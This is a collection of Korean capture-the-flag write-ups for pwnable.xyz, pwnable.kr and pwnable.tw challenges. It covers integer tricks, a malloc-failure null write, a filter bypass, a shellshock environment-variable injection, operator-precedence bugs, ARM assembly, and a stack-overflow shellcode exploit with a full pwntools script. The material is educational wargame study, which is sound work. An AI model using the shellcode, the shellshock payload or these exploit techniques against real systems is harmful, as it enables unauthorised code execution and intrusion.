Full RELRO, Canary, NX, PIE가 걸려있는 64bit 바이너리이다.

그냥 실행시켜봤을 때는 뭘 어떻게 하라는건지도 잘 모르겠다.

 

[main]

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+0h] [rbp-18h]
  int v5; // [rsp+4h] [rbp-14h]
  unsigned __int64 v6; // [rsp+8h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  sub_A3E();
  v4 = 0;
  v5 = 0;
  _printf_chk(1LL, "1337 input: ");
  _isoc99_scanf("%u %u", &v4, &v5);
  if ( v4 <= 4918 && v5 <= 4918 )
  {
    if ( v4 - v5 == 4919 )
      system("cat /flag");
  }
  else
  {
    puts("Sowwy");
  }
  return 0LL;
}

sub_A3E는 그냥 기본 세팅을 해주는 함수이고 그 뒤부터 보면 v4와 v5에 각각 정수를 입력해준다.

이 때 v4와 v5는 모두 4918 이하여야 한다. 그 후 v4 - v5가 4919라면 system("cat /flag")를 실행시켜준다.

 

v4와 v5는 4918이하여야 하므로 일반적으로 생각했을 때 둘의 차가 4919가 나올 수 없지만 v4와 v5는 int이기 때문에 음수 저장이 가능하다. 그러므로 v4에 "-1"을 넣고 v5에 "-4920"을 넣으면 v4 - v5 = 4919가 되는 매우 간단한 문제이다.

 

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] note  (0) 2020.05.08
[pwnable.xyz] GrowUp  (0) 2020.04.25
[pwnable.xyz] misalignment  (0) 2020.04.17
[pwnable.xyz] add  (0) 2020.04.16
[pwnable.xyz] Welcome  (0) 2020.04.11

Full RELRO, Canary, NX, PIE가 걸려있는 64bit 바이너리이다.

"Welcome."와 어떤 주소를 출력 해주고 메세지의 길이와 메세지를 받은 후 출력까지 해준다.

 

main함수부터 확인해주자.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _QWORD *v3; // rbx
  __int64 v4; // rdx
  char *v5; // rbp
  __int64 v6; // rdx
  size_t v7; // rdx
  size_t size; // [rsp+0h] [rbp-28h]
  unsigned __int64 v10; // [rsp+8h] [rbp-20h]

  v10 = __readfsqword(0x28u);
  sub_B4E(a1, a2, a3);
  puts("Welcome.");
  v3 = malloc(0x40000uLL);
  *v3 = 1LL;
  _printf_chk(1LL, "Leak: %p\n", v3);
  _printf_chk(1LL, "Length of your message: ", v4);
  size = 0LL;
  _isoc99_scanf("%lu", &size);
  v5 = (char *)malloc(size);
  _printf_chk(1LL, "Enter your message: ", v6);
  read(0, v5, size);
  v7 = size;
  v5[size - 1] = 0;
  write(1, v5, v7);
  if ( !*v3 )
    system("cat /flag");
  return 0LL;
}

v3에 malloc으로 0x40000byte만큼 메모리를 할당해준 후 *v3에 1을 넣어준다.

아까 출력됐던 주소는 이 메모리의 주소이다.

size변수에 8byte 정수값을 입력 받고 v5에 입력 받은 크기만큼 malloc으로 메모리를 할당해준다.

그 후 v5에 read를 이용해 size만큼 입력을 받고 마지막에 널문자를 추가하고 write로 화면에 출력한다.

만약 *v3이 0이면 바로 "cat /flag"를 해준다.

 

v5의 size를 임의로 조정할 수 있으니까 v3까지 덮을 수 있는지 먼저 확인해보자.

v3는 0x7ffff7f98010에 할당되었고 v5는 0x555555757010에 할당되는 것을 보아 v5에 입력 받은 값으로 v3을 덮는 것은 힘들 것 같다.

 

※gdb에서 분석 할 때 symbol이 없는 경우 메모리는 0x555555554000 + offset에 mapping된다.

 

size는 unsigend int로 입력해줘서 음수를 입력하는 것은 불가능하다. 그러면 size에 엄청 큰 값을 입력하면 어떻게 될까?

malloc(size)가 실패할 것이고 malloc은 NULL을 return한다.

즉, v5의 주소를 가지고 있던 rbp가 0이 되고 "v5[size - 1] = 0" 때문에 내가 원하는 주소에 0을 입력할 수 있게 된다.

 

여기서는 Leak된 v3의 주소 + 1의 값을 size로 넣어주기만 하면 된다.

 

[payload]

from pwn import *

r = remote("svc.pwnable.xyz", 30000)
#r = process("./challenge")

r.recvuntil("0x")
leak = r.recv(12)
r.sendlineafter(": ", str(int(leak, 16)+1))
r.sendlineafter(": ", "hihi")

r.interactive()

 

음.. 문제에서 굳이 스크립트를 짜야 되나고 물어봤으니까 스크립트 없이도 한번 더 풀어줬다.

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] note  (0) 2020.05.08
[pwnable.xyz] GrowUp  (0) 2020.04.25
[pwnable.xyz] misalignment  (0) 2020.04.17
[pwnable.xyz] add  (0) 2020.04.16
[pwnable.xyz] sub  (0) 2020.04.13

엄마! 리눅스 PATH환경이 뭐에요?? 하고 ssh연결 주소를 주니까 일단 접속해서 cmd1.c파일을 읽어보았다.

putenv함수는 환경변수를 추가해주거나 변경해주는 함수이다. c코드를 보면 main함수는 첫줄에서 PATH변수를 /thankyouverymuch라는 값으로 변경해준다. 

기존의 PATH환경변수는 이와 같이 설정되어있다. 여기서 PATH의 역할을 간단하게 설명하자면 그냥 명령어를 실행시켜주는 경로라고 생각하면 된다. 해당 경로가 변경되었으니까 일반적으로 치는 명령어는 인식하지 못하고 경로와 함께 명령어를 넘겨주면 실행될 것이다. 근데 system함수를 통해 명령어를 실행시키기 전에 filter함수를 통해 문자열 몇개를 필터링시킨다. 'flag' 'sh' 'tmp'를 필터링 시켜준다. flag라는 단어를 직접적으로 사용하지 못하므로 와일드카드를 쓰면 된다. 인자로 "/bin/cat fla*"라고 넘겨주면 flag가 읽힐 것이다.

잘 읽힌다!!

플래그는 mommy now I get what PATH environment is for :)

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] lotto  (0) 2019.06.26
[pwnable.kr] blackjack  (0) 2019.06.26
[pwnable.kr] coin1  (0) 2019.06.25
[pwnable.kr] shellshock  (0) 2019.02.27
[pwnable.kr] mistake  (0) 2019.02.24

 

엄마!!!! 나 숙제로 로또 프로그램을 만들었어요!! 해볼래요?? 하고 ssh로 접속할 수 있는 주소를 준다. 한번 접속해보자.

lotto라는 바이너리가 하나 있다. c코드를 확인해보자.

main문을 먼저 확인해보면

main에서는 menu를 선택할 수 있도록 해준다. Play를 보자.

가장먼저 read로 로또 번호를 입력 받는다.

그 후에 로또 번호를 생성한다. /dev/urandom에서 6개를 읽어와서 모듈러스 연산으로 1 ~ 45의 숫자를 가지는 로또번호를 만든 다음에 아까 입력받은 번호랑 같은지 비교한다.

맞으면 system함수로 인해 flag가 읽히는 형식이다.

이 코드를 보자마자 urandom함수의 취약점에 관한 문제인가 싶었는데 그러기엔 2포인트가 너무 짠거 같아서 코드를 자세히 살펴보니까 다른 취약점을 확인할 수 있었다.

이 부분인데 코드가 조금 이상한 것을 확인할 수 있다. 반복문 속 if문이 총 36번 실행된다는 것을 볼 수 있는데 매우 이상한 것이다. lotto한바이트와 우리가 입력한 6개의 숫자 전체를 계속 비교하는 것인데, lotto의 한 바이트만 맞춰도 match6이 되어서 flag를 얻을 수 있는 것이다. 1~45의 값을 입력받으니까

이 친구를 참가해보면 45이하의 아스키 코드 중에 입력할 수 있는 것이 10진수로 33‘!’에서 45‘-‘까지 밖에 없다. 그러면 !!!!!!이렇게 집어넣어서 몇 번 반복해서 시도해보자.

오 두번만에 성공했다!!!! 플래그는 sorry mom... I FORGOT to check duplicate numbers... :(

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] cmd1  (0) 2019.08.10
[pwnable.kr] blackjack  (0) 2019.06.26
[pwnable.kr] coin1  (0) 2019.06.25
[pwnable.kr] shellshock  (0) 2019.02.27
[pwnable.kr] mistake  (0) 2019.02.24

Hey~!~! C로 구현된 이 블랙잭 게임을 확인해봐!! (참고문헌)

내 플래그는 억만장자한테 줄거야..! 얼마나 많은 돈을 딸 수 있을까?? (돈만 있으면 다 되는 세상…..) 그리고 nc포트가 나와있다. 이것도 아까 coin1문제랑 비슷하게 코드를 짜서 푸는 문제인 것 같다. 일단 접속을 해보자.

예쁜 화면이 나온다~!~!

1 => 게임 시작 2 => 게임 룰 3 => 게임 나가기이다.

룰부터 확인해볼까?

…. 그냥 우리가 알고 있는 흔한 블랙잭 룰이다. 게임을 시작해보자.

게임 화면이다. 현재 500달러가 있다…. 이 게임을 이기기 위해서 그냥 무작정 하면 절대 억만장자가 될 수 없을 것 같았다. 따로 바이너리가 없어서 코드짜는 것 같았는데 아닌가보다. 아까 참고문헌도 같이 첨부해줬으니까 확인해보자.

https://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

여기 확인해보기!!

이거 비슷한 문제를 풀었던 것 같은데 딜러가 가지고 있는 수가 아마 rand함수로 정해질 것이고 이를 예측해서 배팅을 하면 될 것이다. 그러면 그 부분을 확인해보자.

randcard()함수가 있다. 여기부터 볼까?

int randcard() //Generates random card
{
      
                
     srand((unsigned) time(NULL)); //Generates random seed for rand() function
     random_card = rand()%4+1;
      
     if(random_card==1)
     {   
         clubcard();
         l=k;
     }
      
     if(random_card==2)
     {
         diamondcard();
         l=k;
     }
      
     if(random_card==3)
     {
         heartcard();
         l=k;
     }
          
     if(random_card==4)
     {
         spadecard();
         l=k;
     }    
     return l;
} // End Function   

내가 가진 카드는 seedtimerand함수로 정해진다.

그리고 다른 함수를 쭉 보다가 betting함수를 봤더니….

int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);
 
 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function

이렇게 되어있다매우 취약한 것을 볼 수 있다. 1pt밖에 안되는 이유가 있었다.. 100m밖에서도 보이듯이 처음에 현재 잔고보다 더 많이 배팅하게 되면 if문에 걸리게 되는데 다시 배팅할 때에도 현재 금액보다 많이 배팅하는 것에 대한 필터링이 없다..!!! 이건 뭐 코드 짤 필요도 없겠는데..? 그냥 어마무시하게 많은 금액을 배팅하고 몇 번 하다가 얻어걸리면 풀릴 것 같다

이렇게 몇 번 게임해주면

바로 플래그가 나온다어렵게 생각할 필요가 전혀 없는 엄청나게 매우 쉬운 문제였다

플래그는 YaY_I_AM_A_MILLIONARE_LOL

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] cmd1  (0) 2019.08.10
[pwnable.kr] lotto  (0) 2019.06.26
[pwnable.kr] coin1  (0) 2019.06.25
[pwnable.kr] shellshock  (0) 2019.02.27
[pwnable.kr] mistake  (0) 2019.02.24

엄마!! 저는 게임을 하고싶어요!(만약 네트워크 응답이 너무 길면  0 9007로 접속)

게임을 하고싶다는 문제가 나와있고 nc로 접속할 수 있는 포트가 하나 주어진다. 접속해보자.

 

…. 일단 해석을 해볼까?

나한테 몇 개의 금화가 주어진다고 한다. 근데 여기에는 위조 금화가 있다고 한다!! 가짜 금화랑 진짜는 겉으로 보기에는 똑같이 생겼지만 무게가 다르다. 진짜 금화는 무게가 10이고 가짜 금화는 9이다. 그니까 가짜 금화 100개를 찾으면 된다!! (시간은 60초 주어진다.)

 

<게임 방법>

1.     N개의 금화와 C번의 기회가 주어진다.

2.     무게를 잴 금화 더미(인덱스)를 선택한다.

3.     무게를 알아낼 수 있다.

4.     2~3번의 C번을 반복하고 답을 말하면 된다!

 

위에 게임 예시도 나와있다.

바이너리가 따로 안 주어진 것으로 보아하니까 진짜로 그냥 푸는 문제인 것 같다. 걍 코딩문제네…. 이 문제를 풀기 위해서 얼마 전 자료구조론 시간에 배운 binary search를 사용해보자!!!!

(https://dongdd.tistory.com/145 이분을 참고하였다!)

 

1.     배열의 처음을 low, 배열의 끝을 high로 설정하고 (low + high) / 2mid를 설정한다.

2.     Low mid값을 서버에 보내서 얻은 무게 값을 mod 10의 값이 0인지 9인지를 확인한다.

3.     mod값이 0이면 범위 내에 가짜 금화가 없다는 뜻이므로 lowmid + 1(가짜 금화가 배열의 끝에 있을 때도 고려)로 설정하고 mod값이 9이면 범위 내에 가짜 금화가 있다는 뜻이므로 highmid로 설정하고 위 과정을 반복한다.

 

이렇게 해서 스크립트를 짜보자.

 

#!usr/bin/python

from pwn import *

context.log_level='debug'

p = remote("pwnable.kr", 9007)

p.recv()

for i in range(100):
	p.recvuntil("N=")
	n = int(p.recvuntil(" "))
	print(n)

	p.recvuntil("C=")
	c = int(p.recvuntil("\n"))
	print(c)

	count = 0
	low = 0
	high = n

	while count != c:
		count = count + 1
		mid = (low + high) / 2
		s = ' '
		for i in range(low, mid):
			s += str(i)
			s += ' '
		s += str(mid)
		p.sendline(s)
		weight = int(p.recv())

		if weight % 10 == 0:
			low = mid + 1
		else:
			high = mid

	mid = (low + high) / 2
	p.sendline(str(mid))
	p.recv()

p.recv()

이렇게 해주면 성공한다! 근데.... 자꾸 타임아웃이 걸린다.

아까 문제에서 설명해줬던 것처럼 sshpwnable.kr 접속해서 서버 내부에서 스크립트를 실행시켜보자.

ssh fd@pwnable.kr -p2222 (pw:guest) 여기에 접속하자.

 

엄청 빠르게 성공하긴 했는데….플래그가 따로 안 나온다….. 뭘 더 받아야 하는건가…?

p.recv()를 마지막에 써줘서 한번 더 받아보자.

 

성공!!!! 플래그는 b1NaRy_S34rch1nG_1s_3asy_p3asy

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] lotto  (0) 2019.06.26
[pwnable.kr] blackjack  (0) 2019.06.26
[pwnable.kr] shellshock  (0) 2019.02.27
[pwnable.kr] mistake  (0) 2019.02.24
[pwnable.kr] leg  (0) 2019.02.20

Just a start....라는데 생각보다 어려웠다..ㅠㅠ pwnable.tw는 좀 나중에 해야겠다.... 아직 실력이 매우 부족한 것 같다ㅠㅠ

'Let's start the CTF:' 라는 문구가 나오고 입력을 받는다.

아이다로 열어보자! (32bit다.)

이렇게 나와서 처음에는 당황했다.. _asm을 보아하니까 어셈블리로 푸는 문제라고 생각이 들어서 어셈블리를 확인했다.

어셈블리를 보면 이렇다! 익숙한 코드들이 보인다!! interrupt로 system call을 해서 write와 read를 하는 코드이다.

http://shell-storm.org/shellcode/files/syscalls.html

 

System Call Table

vm86_regs include/asm/vm86.h: struct vm86_regs { /* normal regs, with special meaning for the segment descriptors.. */      long ebx;      long ecx;      long edx;      long esi;      long edi;      long ebp;      long eax;      long __null_ds;      long _

shell-storm.org

system call table을 참고해서 분석할 수 있다.

 

Esp+14의 위치가 exit함수이므로 Write로 인자를 받고 read로 인자를 출력하고 exit를 하는 바이너리라는 것을 알 수 있다. 취약점은 바로 보이는데, 무조건 esp+14의 위치로 리턴을 하기 때문에 read로 그 부분을 덮어서 eip를 조작하면 된다. (위에 보면 write20바이트를 받는다.)

아무 보호기법도 걸려있지 않았다!! NX조차 걸려있지 않은 것을 봐서는 쉘코드를 쓰면 될 듯 하다.(바이너리가 너무 작아서 가젯은 많이 있을 것 같지도 않고 NX가 걸려있지 않으면 대부분 쉘코드 문제이다!)

 

이제 Leak을 해보자.

 

Jmp esp가 없으니까(바이너리 크기가 워낙 작아서...)

위 그림에서 mov ecx,esp 를 사용해서 leak을 해보자.(write함수 인자 값이 들어가기 직전 코드영역이고 현재 esp+0x14+0x4(pop eip)에 위치한 스택값이 leak된다.)

이걸 사용하자!

#!/usr/bin/python
from pwn import *

context.log_level='debug'

#p = process('./start')
p = remote('call.pwnable.tw', 10000)

payload = ''
payload += "A"*20
payload += p32(0x08048087)

p.recvuntil("Let's start the CTF:")
p.send(payload)
stack_add = u32(p.recv(4))
print(hex(stack_add))

이 스크립트를 돌려주면,

누가봐도 stack주소인 0xffcb130이 leak되는 것을 확인 할 수 있다.

write부분으로 리턴을 했으니까 read를 또 받는다리턴된 주소에 입력을 받고 마지막에 ret를 하는데 read를 다시 받을 때 쉘코드를 추가시켜서 쉘코드가 저장된 주소를 esp+0x14에 덮으면 될 것이다!!

 

그러면 payloadA*20 + shellcode_addr + shellcode형식으로 하면 된다. shellcode주소는 leak해주었던 주소에서 +20부분이다.

 

#!/usr/bin/python
from pwn import *

context.log_level='debug'

#p = process('./start')
p = remote('call.pwnable.tw', 10000)

payload = ''
payload += "A"*20
payload += p32(0x08048087)

p.recvuntil("Let's start the CTF:")
p.send(payload)
stack_add = u32(p.recv(4))
print(hex(stack_add))

shell = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'

payload = ''
payload += "A"*20
payload += p32(stack_add + 20)
payload += shell
p.send(payload)

p.interactive()

이렇게 스크립트를 짜서 돌려주면

성공이다!! flag는 /home/start/flag에 위치한다!


엄마! bash에 대한 충격적인 소식이 있어!! 이미 알고있을거라고 장담하지만 그냥 확실히 하자ㅎㅎ:) 오..뭔지는 모르겠지만 나도 알고있는 거면 좋겠다... 하지만 난 bash에 대해서 아는게 없으니까... 아마 모르고있겠지... 일단 저 서버에 접속해보자..!



shellshock파일 이외에 bash라는 파일도 있는게 눈에 띄인다.


일단 shellshock.c파일을 확인해보자.


1
2
3
4
5
6
7
8
#include <stdio.h>
int main(){
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    system("/home/shellshock/bash -c 'echo shock_me'");
    return 0;
}
 
cs


음 일단 코드길이는 매우 짧다. 그래도 한줄씩 분석해보자.


첫줄의 setresuid함수는 인자로 들어간 3개의 값으로 프로세스의 real UID, effective UID, saved set-user-ID를 각각 바꾸어주는 함수이다.

인자로 들어간 함수중에서 getegid()함수는 호출프로세스의 유효 그룹 ID를 반환하는 함수이다.


두번째 줄의 setresgid는 인자로 들어간 3개의 값으로 프로세스의 real GID, effective GID, saved set-group-ID를 각각 바꾸어주는 함수이다.


여기까지 해도 잘 모르겠으니까 구글에 shellshock를 검색해보니까 바로 연관검색어로 shellshock취약점 shellshock bash등 많이 나와서 bash취약점에 대해 공부해봤다.


요약해서 말하자면 shellshock취약점은 bash shell에서 임의의 환경변수에 특정 코드를 삽입하여서 실행할 수 있는 취약점이다. 이 취약점은 bash버전 4.3이하에서 발생하는 취약점이라고 한다.


리눅스상에서는

func() {echo hello;}

이런식으로 함수를 정의할 수 있다.

그 후에 -f 옵션을 통해서 합수를 등록해준다. 그 후에 그 환경변수를 호출하면 아래와 같이 함수가 실행된다.



이를 이용해서 shellshock취약점이 일어나게 되는데

bash 환경 변수에 함수처럼 보이는 변수를 정의한다. 

export x = '() { echo hello~; }'

이런식으로 함수 문법으로 시작되는 문자열을 적어 넣는다.



이런식으로 환경변수 값을 보면 문자열 형태로 들어가 있는 것을 알 수 있다.


그런데 bash subshell을 열면 bash가 시작되면서 등록된 환경변수를 다시 읽어오게 된다. 그렇게 되면 함수인척 하고 문자열로 저장된 환경변수가 진짜 함수로 정의되게 된다. 


여기까지만 보면 아무 문제가 없는 것 같지만 변수를 정의할때 뒤에 명령어도 실행시킬 수가 있기 때문에 취약점이 발생한다.

export x = '() { echo hello~; };pwd;id'

와 같이 변수를 정의하면 bash가 실행되면서 환경변수가 함수로 정의되고 뒤에 있는 명령어까지 실행되게 된다.


이제 플래그를 읽어와보자.

bash의 버전부터 확인해보면 



당연하게도 4.2.25버전으로 패치되기 전 버전인 것을 확인할 수 있었다.


아까 봤던 코드를 생각해보면 setresuid와 setreguid함수를 통해 권한을 상승시키고 그 상태에서 bash shell을 실행시켜주는 코드라는 것을 알 수 있다. 

그러면


export pay='() { echo hello!; }; /bin/cat flag'


로 변수를 정의시켜주고 shellshock를 실행시키면 바로 flag를 읽어올 것이다!! 해보자~!~!



성공이다!!~!


'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] blackjack  (0) 2019.06.26
[pwnable.kr] coin1  (0) 2019.06.25
[pwnable.kr] mistake  (0) 2019.02.24
[pwnable.kr] leg  (0) 2019.02.20
[pwnable.kr] input  (0) 2019.02.18


 우리는 모두 실수를 한다. 화려한 해킹기술은 전혀 필요없으니까 심각하게 여기지 말라고 한다. 그리고 아래 나와있는 힌트를 보면 연산자 우선순위라고 나와있다.


일단 xshell을 통해 접속해보자.



이렇게 나와있다. mistake에는 setuid가 걸려있고 mistake.c파일을 확인해보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <fcntl.h>
 
#define PW_LEN 10
#define XORKEY 1
 
void xor(char* s, int len){
    int i;
    for(i=0; i<len; i++){
        s[i] ^= XORKEY;
    }
}
 
int main(int argc, char* argv[]){
    
    int fd;
    if(fd=open("/home/mistake/password",O_RDONLY,0400< 0){
        printf("can't open password %d\n", fd);
        return 0;
    }
 
    printf("do not bruteforce...\n");
    sleep(time(0)%20);
 
    char pw_buf[PW_LEN+1];
    int len;
    if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
        printf("read error\n");
        close(fd);
        return 0;        
    }
 
    char pw_buf2[PW_LEN+1];
    printf("input password : ");
    scanf("%10s", pw_buf2);
 
    // xor your input
    xor(pw_buf2, 10);
 
    if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
        printf("Password OK\n");
        system("/bin/cat flag\n");
    }
    else{
        printf("Wrong Password\n");
    }
 
    close(fd);
    return 0;
}
 
cs


소스코드를 확인했고 이제 연산자 우선순위를 위주로 코드를 분석해보자.


전체적인 코드를 먼저 확인해보면 open함수로 패스워드 파일을 열어서 저장한 다음에 입력받은 값을 xor함수에 넣고 결과값과 패스워드를 비교해서 같으면 플래그가 읽히는 형식이다. 이 코드의 취약점은 바로 찾을 수 있었다. 먼저 아래코드를 보자.


1
2
3
4
 if(fd=open("/home/mistake/password",O_RDONLY,0400< 0){
        printf("can't open password %d\n", fd);
        return 0;
    }
cs



if조건문에 괄호가 하나 빠진 것을 확인 할 수 있다. 비교연산자 < 가 산술연산자 = 보다 우선순위가 높기 때문에 open함수의 리턴값을 fd에 저장하고 이것이 0보다 작은지 비교하려는 원래의 의도에서 벗어나 open함수의 리턴값이 0보다 작은지 비교하고 이 결과가 fd값에 들어가는 것이다.


아래 코드 또한 위 코드와 비슷하다.


1
2
3
4
5
  if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
        printf("read error\n");
        close(fd);
        return 0;        
    }
cs


이 코드또한 괄호 하나가 빠져서 read함수의 리턴값이 0보다 큰지 비교하고 이 결과값이 len에 들어가게 된다.


여기서 아까 전에 봤던 fd가 들어간 if문을 생각해보자. open함수에서 파일이 정상적으로 열렸으므로 open함수는 파일디스크립터 번호인 음이 아닌 정수를 리턴하게 된다. 그러면 open("/home/mistake/password", O_RDONLY, 0400) < 0이 거짓이고 fd는 0이 된다.


fd가 0이므로 read(0, pw_buf, PW_LEN)이 실행되었을 때 pw_buf에 우리가 원하는 값을 넣을 수 있게 된다!


pw_buf와 pw_buf2모두 우리가 우너하는대로 값 설정이 가능하니까 플래그 얻기는 식은죽먹기다~!~!


scanf("%10s", pw_buf2); 를 통해 pw_buf2에 1111111111을 넣고 xor함수에서 각 배열의 값을 1과 xor시키니까 pw_buf를 0000000000으로 세팅하면 플래그가 얻어질 것이다! 직접 해보자~!



성공이다!

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] coin1  (0) 2019.06.25
[pwnable.kr] shellshock  (0) 2019.02.27
[pwnable.kr] leg  (0) 2019.02.20
[pwnable.kr] input  (0) 2019.02.18
[pwnable.kr] random  (0) 2019.01.15


 아빠는 나에게 arm을 공부하라고 했는데 난 leg가 더 좋아~!~! 라는 문제이다.... 뭐 어쩌라는건지는 잘 모르겠지만 일단 leg.c와 leg.asm을 다운받아봤다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <fcntl.h>
int key1(){
    asm("mov r3, pc\n");
}
int key2(){
    asm(
    "push    {r6}\n"
    "add    r6, pc, $1\n"
    "bx    r6\n"
    ".code   16\n"
    "mov    r3, pc\n"
    "add    r3, $0x4\n"
    "push    {r3}\n"
    "pop    {pc}\n"
    ".code    32\n"
    "pop    {r6}\n"
    );
}
int key3(){
    asm("mov r3, lr\n");
}
int main(){
    int key=0;
    printf("Daddy has very strong arm! : ");
    scanf("%d"&key);
    if( (key1()+key2()+key3()) == key ){
        printf("Congratz!\n");
        int fd = open("flag", O_RDONLY);
        char buf[100];
        int r = read(fd, buf, 100);
        write(0, buf, r);
    }
    else{
        printf("I have strong leg :P\n");
    }
    return 0;
}
cs

<leg.c>

(gdb) disass main

Dump of assembler code for function main:

   0x00008d3c <+0>: push {r4, r11, lr}

   0x00008d40 <+4>: add r11, sp, #8

   0x00008d44 <+8>: sub sp, sp, #12

   0x00008d48 <+12>: mov r3, #0

   0x00008d4c <+16>: str r3, [r11, #-16]

   0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>

   0x00008d54 <+24>: bl 0xfb6c <printf>

   0x00008d58 <+28>: sub r3, r11, #16

   0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>

   0x00008d60 <+36>: mov r1, r3

   0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>

   0x00008d68 <+44>: bl 0x8cd4 <key1>

   0x00008d6c <+48>: mov r4, r0

   0x00008d70 <+52>: bl 0x8cf0 <key2>

   0x00008d74 <+56>: mov r3, r0

   0x00008d78 <+60>: add r4, r4, r3

   0x00008d7c <+64>: bl 0x8d20 <key3>

   0x00008d80 <+68>: mov r3, r0

   0x00008d84 <+72>: add r2, r4, r3

   0x00008d88 <+76>: ldr r3, [r11, #-16]

   0x00008d8c <+80>: cmp r2, r3

   0x00008d90 <+84>: bne 0x8da8 <main+108>

   0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>

   0x00008d98 <+92>: bl 0x1050c <puts>

   0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>

   0x00008da0 <+100>: bl 0xf89c <system>

   0x00008da4 <+104>: b 0x8db0 <main+116>

   0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>

   0x00008dac <+112>: bl 0x1050c <puts>

   0x00008db0 <+116>: mov r3, #0

   0x00008db4 <+120>: mov r0, r3

   0x00008db8 <+124>: sub sp, r11, #8

   0x00008dbc <+128>: pop {r4, r11, pc}

   0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9

   0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9

   0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0

   0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc

   0x00008dd0 <+148>: andeq r10, r6, r4, asr #9

End of assembler dump.

(gdb) disass key1

Dump of assembler code for function key1:

   0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)

   0x00008cd8 <+4>: add r11, sp, #0

   0x00008cdc <+8>: mov r3, pc

   0x00008ce0 <+12>: mov r0, r3

   0x00008ce4 <+16>: sub sp, r11, #0

   0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)

   0x00008cec <+24>: bx lr

End of assembler dump.

(gdb) disass key2

Dump of assembler code for function key2:

   0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)

   0x00008cf4 <+4>: add r11, sp, #0

   0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)

   0x00008cfc <+12>: add r6, pc, #1

   0x00008d00 <+16>: bx r6

   0x00008d04 <+20>: mov r3, pc

   0x00008d06 <+22>: adds r3, #4

   0x00008d08 <+24>: push {r3}

   0x00008d0a <+26>: pop {pc}

   0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)

   0x00008d10 <+32>: mov r0, r3

   0x00008d14 <+36>: sub sp, r11, #0

   0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)

   0x00008d1c <+44>: bx lr

End of assembler dump.

(gdb) disass key3

Dump of assembler code for function key3:

   0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)

   0x00008d24 <+4>: add r11, sp, #0

   0x00008d28 <+8>: mov r3, lr

   0x00008d2c <+12>: mov r0, r3

   0x00008d30 <+16>: sub sp, r11, #0

   0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)

   0x00008d38 <+24>: bx lr

End of assembler dump.

(gdb)

<leg.asm>


어셈블리 코드를 보니까 그동안 봤던 intel문법이 아닌 조금 생소한 문법이였다. 이게 ARM어셈블리어라고 한다. 그래서 문제에서 arm leg라는 말장난을 친 듯 하다..


일단 c코드 먼저 확인해보자.

key1, key2, key3은 어셈블리어로 되어있으니까 넘기고 main부분을 살펴보면


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int main(){
    int key=0;
    printf("Daddy has very strong arm! : ");
    scanf("%d"&key);
    if( (key1()+key2()+key3()) == key ){
        printf("Congratz!\n");
        int fd = open("flag", O_RDONLY);
        char buf[100];
        int r = read(fd, buf, 100);
        write(0, buf, r);
    }
    else{
        printf("I have strong leg :P\n");
    }
    return 0;
}
 
cs


key에다가 정수를 입력받고 key1()+key2()+key3()한 것이 key와 같으면 플래그가 나오는 형식이다.

그리고 main의 arm어셈블리어를 확인해보면


(gdb) disass main

Dump of assembler code for function main:

   0x00008d3c <+0>: push {r4, r11, lr}

   0x00008d40 <+4>: add r11, sp, #8

   0x00008d44 <+8>: sub sp, sp, #12

   0x00008d48 <+12>: mov r3, #0

   0x00008d4c <+16>: str r3, [r11, #-16]

   0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>

   0x00008d54 <+24>: bl 0xfb6c <printf>

   0x00008d58 <+28>: sub r3, r11, #16

   0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>

   0x00008d60 <+36>: mov r1, r3

